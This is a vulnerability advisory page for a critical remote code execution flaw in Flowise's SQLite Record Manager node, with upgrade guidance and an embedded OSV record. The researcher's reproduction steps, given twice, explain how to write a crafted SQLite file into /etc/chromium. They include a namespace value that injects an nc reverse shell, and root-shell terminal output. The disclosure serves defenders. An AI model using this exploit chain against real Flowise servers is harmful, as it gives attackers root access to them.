CVE-2026-69259: Flowise Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-x3hf-7cj6-3r4m
CWE-94
Published
Advisory Summary

CVE-2026-69259 is a CRITICAL remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Flowise libraries in the npm ecosystem. The issue involves flowise rce via sqlite record manager node. Remediation is available by upgrading affected packages to version 3.1.3.

CVE-2026-69259 at a Glance

CVE Identifier CVE-2026-69259
GHSA Identifier GHSA-x3hf-7cj6-3r4m
Severity CRITICAL
CVSS v3.1 Base Score N/A
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product Flowise
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-69259

To remediate this vulnerability, upgrade all affected Flowise dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

flowise fixed: 3.1.3
npm install flowise@3.1.3
flowise-components fixed: 3.1.3
npm install flowise-components@3.1.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls flowise

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-69259, inspect your project dependencies using npm:

npm ls flowise

Analyze the terminal output to locate any version of Flowise in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.1.3), your application is affected.

Note: The npm ls flowise command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Flowise, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

============================================================================= Security Advisory elttam Topic: Flowise RCE via SQLite Record Manager Node Module: FlowiseAI/Flowise Disclosed: 24-Apr-2026 Credits: Alex Brown Affects: `FlowiseAI/Flowise 3.1.2` # I. Background Flowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding. Flowise allows users to connect to a local SQLite database for record management of Upsert Vector Store operations. # II. Problem Description The database path for the "SQLite Record Manager" node could be overridden using the `additionalConfig` input, as demonstrated in the following code snippet. [https://github.com/FlowiseAI/Flowise/blob/flowise-components@3.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts](https://github.com/FlowiseAI/Flowise/blob/flowise-components%403.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts) ```ts class SQLiteRecordManager_RecordManager implements INode { ... async init(nodeData: INodeData, _: string, options: ICommonObject): Promise<any> { const _tableName = nodeData.inputs?.tableName as string const tableName = _tableName ? _tableName : 'upsertion_records' const additionalConfig = nodeData.inputs?.additionalConfig as string <1> const _namespace = nodeData.inputs?.namespace as string const namespace = _namespace ? _namespace : options.chatflowid const cleanup = nodeData.inputs?.cleanup as string const _sourceIdKey = nodeData.inputs?.sourceIdKey as string const sourceIdKey = _sourceIdKey ? _sourceIdKey : 'source' let additionalConfiguration = {} if (additionalConfig) { try { additionalConfiguration = typeof additionalConfig === 'object' ? additionalConfig : JSON.parse(additionalConfig) } catch (exception) { throw new Error('Invalid JSON in the Additional Configuration: ' + exception) } } const database = path.join(process.env.DATABASE_PATH ?? path.join(getUserHome(), '.flowise'), 'database.sqlite') <2> const sqliteOptions = { database, ...additionalConfiguration, <3> type: 'sqlite' } const args = { sqliteOptions, tableName: tableName } const recordManager = new SQLiteRecordManager(namespace, args) ;(recordManager as any).cleanup = cleanup ;(recordManager as any).sourceIdKey = sourceIdKey return recordManager } } ``` <1> The `additionalConfig` input was user controllable. <2> The intended SQLite database path. <3> Keyword argument expansion of the `additionalConfiguration` variable after the `database` variable, which allows overwriting the preceding `database` setting. An attacker could abuse this weakness to write an SQLite database to an arbitrary filepath, which includes system directories since the [`flowiseai/flowise:3.1.2`](https://hub.docker.com/layers/flowiseai/flowise/3.1.2/images/sha256-ddba104d8e50fbc1e72c6fe021d012be83e66d78d26816e1a6a3fddab4212eff) Docker image runs as `root`. However, unlike the [Flowise RCE via SQL Database Chain Node vulnerability](https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-pwfj-wh95-7mwp), the executed SQL query was not user controllable and the `tableName` input was validated to match the `/^[a-zA-Z0-9_]+$/` regex pattern, as shown in the following code snippet. [https://github.com/FlowiseAI/Flowise/blob/flowise-components@3.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts](https://github.com/FlowiseAI/Flowise/blob/flowise-components%403.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts) ```ts class SQLiteRecordManager implements RecordManagerInterface { ... sanitizeTableName(tableName: string): string { // Trim and normalize case, turn whitespace into underscores tableName = tableName.trim().toLowerCase().replace(/\s+/g, '_') // Validate using a regex (alphanumeric and underscores only) if (!/^[a-zA-Z0-9_]+$/.test(tableName)) { <1> throw new Error('Invalid table name') } return tableName } ... async createSchema(): Promise<void> { const dataSource = await this.getDataSource() try { const queryRunner = dataSource.createQueryRunner() const tableName = this.sanitizeTableName(this.tableName) <1> await queryRunner.manager.query(` <2> CREATE TABLE IF NOT EXISTS "${tableName}" ( uuid TEXT PRIMARY KEY DEFAULT (lower(hex(randomblob(16)))), key TEXT NOT NULL, namespace TEXT NOT NULL, updated_at REAL NOT NULL, group_id TEXT, UNIQUE (key, namespace) ); CREATE INDEX IF NOT EXISTS updated_at_index ON "${tableName}" (updated_at); CREATE INDEX IF NOT EXISTS key_index ON "${tableName}" (key); CREATE INDEX IF NOT EXISTS namespace_index ON "${tableName}" (namespace); CREATE INDEX IF NOT EXISTS group_id_index ON "${tableName}" (group_id);`) // Add doc_id column if it doesn't exist (migration for existing tables) const checkColumn = await queryRunner.manager.query( `SELECT COUNT(*) as count FROM pragma_table_info('${tableName}') WHERE name='doc_id';` ) if (checkColumn[0].count === 0) { await queryRunner.manager.query(`ALTER TABLE "${tableName}" ADD COLUMN doc_id TEXT;`) await queryRunner.manager.query(`CREATE INDEX IF NOT EXISTS doc_id_index ON "${tableName}" (doc_id);`) } await queryRunner.release() } catch (e: any) { // This error indicates that the table already exists // Due to asynchronous nature of the code, it is possible that // the table is created between the time we check if it exists // and the time we try to create it. It can be safely ignored. if ('code' in e && e.code === '23505') { return } throw e } finally { await dataSource.destroy() } } ... async update(keys: Array<{ uid: string; docId: string }> | string[], updateOptions?: UpdateOptions): Promise<void> { if (keys.length === 0) { return } const dataSource = await this.getDataSource() const queryRunner = dataSource.createQueryRunner() const tableName = this.sanitizeTableName(this.tableName) const updatedAt = await this.getTime() const { timeAtLeast, groupIds: _groupIds } = updateOptions ?? {} if (timeAtLeast && updatedAt < timeAtLeast) { throw new Error(`Time sync issue with database ${updatedAt} < ${timeAtLeast}`) } // Handle both new format (objects with uid and docId) and old format (strings) const isNewFormat = keys.length > 0 && typeof keys[0] === 'object' && 'uid' in keys[0] const keyStrings = isNewFormat ? (keys as Array<{ uid: string; docId: string }>).map((k) => k.uid) : (keys as string[]) const docIds = isNewFormat ? (keys as Array<{ uid: string; docId: string }>).map((k) => k.docId) : keys.map(() => null) const groupIds = _groupIds ?? keyStrings.map(() => null) if (groupIds.length !== keyStrings.length) { throw new Error(`Number of keys (${keyStrings.length}) does not match number of group_ids (${groupIds.length})`) } const recordsToUpsert = keyStrings.map((key, i) => [key, this.namespace, updatedAt, groupIds[i] ?? null, docIds[i] ?? null]) <3> const query = ` INSERT INTO "${tableName}" (key, namespace, updated_at, group_id, doc_id) VALUES (?, ?, ?, ?, ?) ON CONFLICT (key, namespace) DO UPDATE SET updated_at = excluded.updated_at, doc_id = excluded.doc_id` try { // To handle multiple files upsert for (const record of recordsToUpsert) { // Consider using a transaction for batch operations await queryRunner.manager.query(query, record.flat()) } await queryRunner.release() } catch (error) { console.error('Error updating in SQLiteRecordManager:') throw error } finally { await dataSource.destroy() } } ... } ``` <1> Validates the `tableName` input matches the regex pattern `/^[a-zA-Z0-9_]+$/`. <2> The SQL command creating the database table, which is not user controllable. <3> The `this.namespace` is a user controllable input for the node. Since the allowed characters of the `tableName` input were restricted, it was not possible to utilise the same technique from [GHSA-pwfj-wh95-7mwp](https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-pwfj-wh95-7mwp) to comment out `()` characters within the SQLite database file that would cause a syntax error when executed as a shell script. To avoid this limitation, the binary structure of SQLite databases was investigated, where the following output shows the binary structure of the `doc_id_index` cell using the default `upsertion_records` table name. ``` Bytes Raw Decoded ────────────────────────────────────────────────── [3574:3575] 62 payload length = 98 [3575:3576] 04 rowid = 4 ── Record Header ────────────────────────────── [3576:3577] 06 header length = 6 [3577:3578] 17 col 0 = 23 → TEXT 5 bytes ('index') [3578:3579] 25 col 1 = 37 → TEXT 12 bytes ('doc_id_index') [3579:3580] 2f col 2 = 47 → TEXT 17 bytes ('upsertion_records') <1> [3580:3581] 01 col 3 = 1 → INT8 1 byte [3581:3582] 7f col 4 = 127 → TEXT 57 bytes (CREATE INDEX sql) ── Record Body ──────────────────────────────── [3582:3587] 696e646578 col 0 = 'index' [3587:3599] 646f635f69… col 1 = 'doc_id_index' [3599:3616] 757073657274… col 2 = 'upsertion_records' [3616:3617] 05 col 3 = 5 (root page = page 5) [3617:3674] 43524541544… col 4 = 'CREATE INDEX doc_id_index ON "upsertion_records" (doc_id)' ``` <1> `\x2f` serial type corresponds to a `TEXT` value that is 17 bytes long. The length of the table name can be manipulated, and a serial type of `'` corresponds to a string that is 13 bytes long. The injected `'` could then be used to wrap the problematic `()` characters within the cell, which is then closed by the `namespace` input that also contains a reverse shell payload that is executed when Puppeteer launches a Chromium browser reading the malicious SQLite database from a `/etc/chromium/*.conf` file. The following steps document the procedure to reproduce this issue: 1. Import the following Chatflow and configure the OpenAI and Weaviate nodes. Observe that the `additionalConfig.database` input for the SQLite Record Manager node is set to `/etc/chromium/exploit.conf`, which is the destination the SQLite database will be created. The `tableName` input is set to `AAAAAAAAAAAAA`, so the encoded serial type of its length would be `'`, and the `namespace` is set to `'$(/usr/bin/nc 172.17.0.1 1337 -e /bin/sh)` to close the previous `'` and then use command substitution to execute a reverse shell payload. Perform an Upsert Vector Store operation and observe the SQLite database being created at `/etc/chromium/exploit.conf`. [sqlite-record-rce-poc.json](https://github.com/user-attachments/files/27053431/sqlite-record-rce-poc.json) 2. Import the following Chatflow and perform an Upsert Vector Store operation. When Puppeteer is launched, it will execute `chromium-browser` that sources all `/etc/chromium/*.conf` files, triggering the reverse shell payload as shown in the following terminal output. [sqlite-sqlchain-puppeteer-trigger.json](https://github.com/user-attachments/files/27053441/sqlite-sqlchain-puppeteer-trigger.json) ```terminal $ nc -lnvp 1337 Listening on 0.0.0.0 1337 Connection received on 172.17.0.2 40677 id uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) ps aux PID USER TIME COMMAND 1 root 0:13 node /usr/local/bin/flowise start 18 root 0:00 [sh] 30 root 0:00 {chromium-browse} /bin/sh /usr/bin/chromium-browser --allow-pre-commit-input --disable-background-networking --disable-background-timer-throttling --disable-backgrounding-occluded-windows --disable-breakpad --disable-client-side-phishing-detection --disable-component-extensions-with-background-pages --disable-component-update --disable-default-apps --disable-dev-shm-usage --disable-features=Translate,BackForwardCache,AcceptCHFrame,MediaRouter,OptimizationHints --disable-hang-monitor --disable-ipc-flooding-protection --disable-popup-blocking --disable-prompt-on-repost --disable-renderer-backgrounding --disable-sync --enable-automation --enable-blink-features=IdleDetection --enable-features=NetworkServiceInProcess2 --export-tagged-pdf --force-color-profile=srgb --metrics-recording-only --no-first-run --password-store=basic --use-mock-keychain --headless=new --hide-scrollbars --mute-audio about:blank --no-sandbox --remote-debugging-port=0 --user-data-dir=/tmp/puppeteer_dev_chrome_profile-AnFBBC 31 root 0:00 /bin/sh 33 root 0:00 ps aux ``` # III. Impact An authenticated user on a Flowise instance using the published Docker image could exploit this vulnerability to achieve RCE, resulting in full compromise of the application. # IV. Solution Consider performing the following remediation activities: * Ensure that the `additionalConfig` input could not be abused to overwrite the `database` property to an arbitrary file path. * Use a low-privileged user for container runtimes instead of the privileged `root` user, since the `root` user has file access to the entire filesystem of the container.

CVE-2026-69259 Affected Flowise Versions

2 component(s)
Fixed Versions:
3.1.3
Product / Package Ecosystem Affected Versions Fixed Version
flowise
npm
< 3.1.3
3.1.3
flowise-components
npm
< 3.1.3
3.1.3

References

Frequently Asked Questions

What is CVE-2026-69259?
CVE-2026-69259 is a security vulnerability in Flowise involving Flowise RCE via SQLite Record Manager Node under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which Flowise versions are affected?
Affected versions include releases prior to 3.1.3 across affected packages: flowise, flowise-components.
What version fixes CVE-2026-69259?
Upgrading to 3.1.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is flowise affected?
Yes, flowise is affected in releases prior to 3.1.3. Upgrade your dependency to 3.1.3 or later.
Is flowise-components affected?
Yes, flowise-components is affected in releases prior to 3.1.3. Upgrade your dependency to 3.1.3 or later.
What CWE is associated with CVE-2026-69259?
CVE-2026-69259 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check npm dependencies for CVE-2026-69259?
Run the dependency tree command: 'npm ls flowise'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-x3hf-7cj6-3r4m",
  "modified" : "2026-08-04T16:05:10Z",
  "published" : "2026-08-04T16:05:10Z",
  "aliases" : [ "CVE-2026-69259" ],
  "summary" : "Flowise RCE via SQLite Record Manager Node",
  "details" : "=============================================================================\n                                                            Security Advisory\n                                                                       elttam\n\nTopic:          Flowise RCE via SQLite Record Manager Node\n\nModule:         FlowiseAI/Flowise\nDisclosed:      24-Apr-2026\nCredits:        Alex Brown\nAffects:        `FlowiseAI/Flowise 3.1.2`\n\n# I.   Background\n\nFlowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding.\n\nFlowise allows users to connect to a local SQLite database for record management of Upsert Vector Store operations.\n\n# II.  Problem Description\n\nThe database path for the \"SQLite Record Manager\" node could be overridden using the `additionalConfig` input, as demonstrated in the following code snippet.\n\n[https://github.com/FlowiseAI/Flowise/blob/flowise-components@3.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts](https://github.com/FlowiseAI/Flowise/blob/flowise-components%403.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts)\n```ts\nclass SQLiteRecordManager_RecordManager implements INode {\n    ...\n    async init(nodeData: INodeData, _: string, options: ICommonObject): Promise<any> {\n        const _tableName = nodeData.inputs?.tableName as string\n        const tableName = _tableName ? _tableName : 'upsertion_records'\n        const additionalConfig = nodeData.inputs?.additionalConfig as string <1>\n        const _namespace = nodeData.inputs?.namespace as string\n        const namespace = _namespace ? _namespace : options.chatflowid\n        const cleanup = nodeData.inputs?.cleanup as string\n        const _sourceIdKey = nodeData.inputs?.sourceIdKey as string\n        const sourceIdKey = _sourceIdKey ? _sourceIdKey : 'source'\n\n        let additionalConfiguration = {}\n        if (additionalConfig) {\n            try {\n                additionalConfiguration = typeof additionalConfig === 'object' ? additionalConfig : JSON.parse(additionalConfig)\n            } catch (exception) {\n                throw new Error('Invalid JSON in the Additional Configuration: ' + exception)\n            }\n        }\n\n        const database = path.join(process.env.DATABASE_PATH ?? path.join(getUserHome(), '.flowise'), 'database.sqlite') <2>\n\n        const sqliteOptions = {\n            database,\n            ...additionalConfiguration, <3>\n            type: 'sqlite'\n        }\n\n        const args = {\n            sqliteOptions,\n            tableName: tableName\n        }\n\n        const recordManager = new SQLiteRecordManager(namespace, args)\n\n        ;(recordManager as any).cleanup = cleanup\n        ;(recordManager as any).sourceIdKey = sourceIdKey\n\n        return recordManager\n    }\n}\n```\n<1> The `additionalConfig` input was user controllable.\n\n<2> The intended SQLite database path.\n\n<3> Keyword argument expansion of the `additionalConfiguration` variable after the `database` variable, which allows overwriting the preceding `database` setting.\n\nAn attacker could abuse this weakness to write an SQLite database to an arbitrary filepath, which includes system directories since the [`flowiseai/flowise:3.1.2`](https://hub.docker.com/layers/flowiseai/flowise/3.1.2/images/sha256-ddba104d8e50fbc1e72c6fe021d012be83e66d78d26816e1a6a3fddab4212eff) Docker image runs as `root`.\n\nHowever, unlike the [Flowise RCE via SQL Database Chain Node vulnerability](https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-pwfj-wh95-7mwp), the executed SQL query was not user controllable and the `tableName` input was validated to match the `/^[a-zA-Z0-9_]+$/` regex pattern, as shown in the following code snippet.\n\n[https://github.com/FlowiseAI/Flowise/blob/flowise-components@3.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts](https://github.com/FlowiseAI/Flowise/blob/flowise-components%403.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts)\n```ts\nclass SQLiteRecordManager implements RecordManagerInterface {\n    ...\n\n    sanitizeTableName(tableName: string): string {\n        // Trim and normalize case, turn whitespace into underscores\n        tableName = tableName.trim().toLowerCase().replace(/\\s+/g, '_')\n\n        // Validate using a regex (alphanumeric and underscores only)\n        if (!/^[a-zA-Z0-9_]+$/.test(tableName)) { <1>\n            throw new Error('Invalid table name')\n        }\n\n        return tableName\n    }\n\n    ...\n\n    async createSchema(): Promise<void> {\n        const dataSource = await this.getDataSource()\n        try {\n            const queryRunner = dataSource.createQueryRunner()\n            const tableName = this.sanitizeTableName(this.tableName) <1>\n\n            await queryRunner.manager.query(` <2>\nCREATE TABLE IF NOT EXISTS \"${tableName}\" (\n  uuid TEXT PRIMARY KEY DEFAULT (lower(hex(randomblob(16)))),\n  key TEXT NOT NULL,\n  namespace TEXT NOT NULL,\n  updated_at REAL NOT NULL,\n  group_id TEXT,\n  UNIQUE (key, namespace)\n);\nCREATE INDEX IF NOT EXISTS updated_at_index ON \"${tableName}\" (updated_at);\nCREATE INDEX IF NOT EXISTS key_index ON \"${tableName}\" (key);\nCREATE INDEX IF NOT EXISTS namespace_index ON \"${tableName}\" (namespace);\nCREATE INDEX IF NOT EXISTS group_id_index ON \"${tableName}\" (group_id);`)\n\n            // Add doc_id column if it doesn't exist (migration for existing tables)\n            const checkColumn = await queryRunner.manager.query(\n                `SELECT COUNT(*) as count FROM pragma_table_info('${tableName}') WHERE name='doc_id';`\n            )\n            if (checkColumn[0].count === 0) {\n                await queryRunner.manager.query(`ALTER TABLE \"${tableName}\" ADD COLUMN doc_id TEXT;`)\n                await queryRunner.manager.query(`CREATE INDEX IF NOT EXISTS doc_id_index ON \"${tableName}\" (doc_id);`)\n            }\n\n            await queryRunner.release()\n        } catch (e: any) {\n            // This error indicates that the table already exists\n            // Due to asynchronous nature of the code, it is possible that\n            // the table is created between the time we check if it exists\n            // and the time we try to create it. It can be safely ignored.\n            if ('code' in e && e.code === '23505') {\n                return\n            }\n            throw e\n        } finally {\n            await dataSource.destroy()\n        }\n    }\n\n    ...\n\n    async update(keys: Array<{ uid: string; docId: string }> | string[], updateOptions?: UpdateOptions): Promise<void> {\n        if (keys.length === 0) {\n            return\n        }\n        const dataSource = await this.getDataSource()\n        const queryRunner = dataSource.createQueryRunner()\n        const tableName = this.sanitizeTableName(this.tableName)\n\n        const updatedAt = await this.getTime()\n        const { timeAtLeast, groupIds: _groupIds } = updateOptions ?? {}\n\n        if (timeAtLeast && updatedAt < timeAtLeast) {\n            throw new Error(`Time sync issue with database ${updatedAt} < ${timeAtLeast}`)\n        }\n\n        // Handle both new format (objects with uid and docId) and old format (strings)\n        const isNewFormat = keys.length > 0 && typeof keys[0] === 'object' && 'uid' in keys[0]\n        const keyStrings = isNewFormat ? (keys as Array<{ uid: string; docId: string }>).map((k) => k.uid) : (keys as string[])\n        const docIds = isNewFormat ? (keys as Array<{ uid: string; docId: string }>).map((k) => k.docId) : keys.map(() => null)\n\n        const groupIds = _groupIds ?? keyStrings.map(() => null)\n\n        if (groupIds.length !== keyStrings.length) {\n            throw new Error(`Number of keys (${keyStrings.length}) does not match number of group_ids (${groupIds.length})`)\n        }\n\n        const recordsToUpsert = keyStrings.map((key, i) => [key, this.namespace, updatedAt, groupIds[i] ?? null, docIds[i] ?? null]) <3>\n\n        const query = `\n        INSERT INTO \"${tableName}\" (key, namespace, updated_at, group_id, doc_id)\n        VALUES (?, ?, ?, ?, ?)\n        ON CONFLICT (key, namespace) DO UPDATE SET updated_at = excluded.updated_at, doc_id = excluded.doc_id`\n\n        try {\n            // To handle multiple files upsert\n            for (const record of recordsToUpsert) {\n                // Consider using a transaction for batch operations\n                await queryRunner.manager.query(query, record.flat())\n            }\n            await queryRunner.release()\n        } catch (error) {\n            console.error('Error updating in SQLiteRecordManager:')\n            throw error\n        } finally {\n            await dataSource.destroy()\n        }\n    }\n    ...\n}\n```\n<1> Validates the `tableName` input matches the regex pattern `/^[a-zA-Z0-9_]+$/`.\n\n<2> The SQL command creating the database table, which is not user controllable.\n\n<3> The `this.namespace` is a user controllable input for the node.\n\nSince the allowed characters of the `tableName` input were restricted, it was not possible to utilise the same technique from [GHSA-pwfj-wh95-7mwp](https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-pwfj-wh95-7mwp) to comment out `()` characters within the SQLite database file that would cause a syntax error when executed as a shell script. To avoid this limitation, the binary structure of SQLite databases was investigated, where the following output shows the binary structure of the `doc_id_index` cell using the default `upsertion_records` table name.\n\n```\nBytes         Raw    Decoded\n──────────────────────────────────────────────────\n[3574:3575]   62     payload length = 98\n[3575:3576]   04     rowid = 4\n\n── Record Header ──────────────────────────────\n[3576:3577]   06     header length = 6\n[3577:3578]   17     col 0 = 23  → TEXT 5 bytes   ('index')\n[3578:3579]   25     col 1 = 37  → TEXT 12 bytes  ('doc_id_index')\n[3579:3580]   2f     col 2 = 47  → TEXT 17 bytes  ('upsertion_records') <1>\n[3580:3581]   01     col 3 = 1   → INT8 1 byte\n[3581:3582]   7f     col 4 = 127 → TEXT 57 bytes  (CREATE INDEX sql)\n\n── Record Body ────────────────────────────────\n[3582:3587]   696e646578     col 0 = 'index'\n[3587:3599]   646f635f69…    col 1 = 'doc_id_index'\n[3599:3616]   757073657274…  col 2 = 'upsertion_records'\n[3616:3617]   05             col 3 = 5  (root page = page 5)\n[3617:3674]   43524541544…   col 4 = 'CREATE INDEX doc_id_index ON \"upsertion_records\" (doc_id)'\n```\n<1> `\\x2f` serial type corresponds to a `TEXT` value that is 17 bytes long.\n\nThe length of the table name can be manipulated, and a serial type of `'` corresponds to a string that is 13 bytes long. The injected `'` could then be used to wrap the problematic `()` characters within the cell, which is then closed by the `namespace` input that also contains a reverse shell payload that is executed when Puppeteer launches a Chromium browser reading the malicious SQLite database from a `/etc/chromium/*.conf` file.\n\nThe following steps document the procedure to reproduce this issue:\n\n1. Import the following Chatflow and configure the OpenAI and Weaviate nodes. Observe that the `additionalConfig.database` input for the SQLite Record Manager node is set to `/etc/chromium/exploit.conf`, which is the destination the SQLite database will be created. The `tableName` input is set to `AAAAAAAAAAAAA`, so the encoded serial type of its length would be `'`, and the `namespace` is set to `'$(/usr/bin/nc 172.17.0.1 1337 -e /bin/sh)` to close the previous `'` and then use command substitution to execute a reverse shell payload. Perform an Upsert Vector Store operation and observe the SQLite database being created at `/etc/chromium/exploit.conf`.\n\n[sqlite-record-rce-poc.json](https://github.com/user-attachments/files/27053431/sqlite-record-rce-poc.json)\n\n2. Import the following Chatflow and perform an Upsert Vector Store operation. When Puppeteer is launched, it will execute `chromium-browser` that sources all `/etc/chromium/*.conf` files, triggering the reverse shell payload as shown in the following terminal output.\n\n[sqlite-sqlchain-puppeteer-trigger.json](https://github.com/user-attachments/files/27053441/sqlite-sqlchain-puppeteer-trigger.json)\n\n```terminal\n$ nc -lnvp 1337\nListening on 0.0.0.0 1337\nConnection received on 172.17.0.2 40677\nid\nuid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\nps aux\nPID   USER     TIME  COMMAND\n    1 root      0:13 node /usr/local/bin/flowise start\n   18 root      0:00 [sh]\n   30 root      0:00 {chromium-browse} /bin/sh /usr/bin/chromium-browser --allow-pre-commit-input --disable-background-networking --disable-background-timer-throttling --disable-backgrounding-occluded-windows --disable-breakpad --disable-client-side-phishing-detection --disable-component-extensions-with-background-pages --disable-component-update --disable-default-apps --disable-dev-shm-usage --disable-features=Translate,BackForwardCache,AcceptCHFrame,MediaRouter,OptimizationHints --disable-hang-monitor --disable-ipc-flooding-protection --disable-popup-blocking --disable-prompt-on-repost --disable-renderer-backgrounding --disable-sync --enable-automation --enable-blink-features=IdleDetection --enable-features=NetworkServiceInProcess2 --export-tagged-pdf --force-color-profile=srgb --metrics-recording-only --no-first-run --password-store=basic --use-mock-keychain --headless=new --hide-scrollbars --mute-audio about:blank --no-sandbox --remote-debugging-port=0 --user-data-dir=/tmp/puppeteer_dev_chrome_profile-AnFBBC\n   31 root      0:00 /bin/sh\n   33 root      0:00 ps aux\n```\n \n# III. Impact\n\nAn authenticated user on a Flowise instance using the published Docker image could exploit this vulnerability to achieve RCE, resulting in full compromise of the application.\n\n# IV.  Solution\n\nConsider performing the following remediation activities:\n\n* Ensure that the `additionalConfig` input could not be abused to overwrite the `database` property to an arbitrary file path.\n\n* Use a low-privileged user for container runtimes instead of the privileged `root` user, since the `root` user has file access to the entire filesystem of the container.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "flowise"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.1.2"
    }
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "flowise-components"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.1.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-x3hf-7cj6-3r4m"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/pull/6464"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/commit/d07186844263bad057008863037466aff7c3390f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/FlowiseAI/Flowise"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-04T16:05:10Z",
    "nvd_published_at" : null
  }
}